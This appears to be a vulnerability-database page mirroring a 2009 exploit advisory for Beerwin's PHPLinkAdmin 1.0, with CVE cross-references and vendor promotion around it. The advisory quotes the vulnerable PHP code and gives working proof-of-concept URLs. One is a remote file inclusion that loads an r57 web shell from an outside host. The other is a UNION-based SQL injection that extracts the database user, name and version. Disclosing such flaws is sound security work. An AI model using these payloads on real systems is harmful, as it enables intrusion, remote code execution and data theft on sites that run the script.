Lucene search
+L

Beerwin's PHPLinkAdmin 1.0 - Remote File Inclusion / SQL Injection

🗓️ 16 Mar 2009 00:00:00Reported by SirGodType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 40 Views

Beerwin's PHPLinkAdmin 1.0 Remote File Inclusion/SQ

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-1024
16 Mar 200900:00
circl
circl
Circl
CVE-2009-1025
16 Mar 200900:00
circl
cve
CVE
CVE-2009-1024
20 Mar 200900:00
cve
cve
CVE
CVE-2009-1025
20 Mar 200900:00
cve
cvelist
Cvelist
CVE-2009-1024
20 Mar 200900:00
cvelist
cvelist
Cvelist
CVE-2009-1025
20 Mar 200900:00
cvelist
euvd
EUVD
EUVD-2009-1025
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-1024
20 Mar 200900:30
nvd
nvd
NVD
CVE-2009-1025
20 Mar 200900:30
nvd
openvas
OpenVAS
Beerwin's PhpLinkAdmin Remote File Include and Multiple SQL Injection Vulnerabilities
18 Mar 200900:00
openvas
Rows per page
#######################################################################################################################
[+] Beerwin's PHPLinkAdmin 1.0 Remote File Inclusion/SQL Injection
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
#######################################################################################################################

[+] Download : http://www.downloads.beerwin.com/index.php?p=showdl&dl=16&cat=18

[+] Remote File Inclusion

 Direct acces to linkadmin.No auth.

 Vulnerable code in linkadmin.php :

-------------------------------------------------------------------------------------------
$page = $_REQUEST['page'];
if (!$page){
echo "Welcome to the PHPLINKADMIN!.<br> Please select an action from
the left menu.";
}else{
include $page;
}
--------------------------------------------------------------------------------------------

 PoC :

   http://127.0.0.1/path/linkadmin.php?page=http://www.kortech.cn/bbs//skin/zero_vote/r57.txt?

========================================================================================================================

[+] Remote SQL Injection

  Is a lot of SQL Injection vulnerabilities in the script.I will
present only one.

  Vulnerable code in edlink.php :

-----------------------------------------------------------------------------------------------
$linkid=$_REQUEST['linkid'];
if (!$linkid){
  echo "Error: Link missing! <br />";
}else{
  $sql=mysql_query("SELECT * FROM linktable WHERE linkid='$linkid'")
or die(mysql_error());
-----------------------------------------------------------------------------------------------

 PoC :

   http://127.0.0.1/path/edlink.php?linkid=-1' union all select
1,2,3,4,concat_ws(0x3a,user(),database(),version())'--

 No important things to extract from database.

=========================================================================================================================


#######################################################################################################################

# milw0rm.com [2009-03-16]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation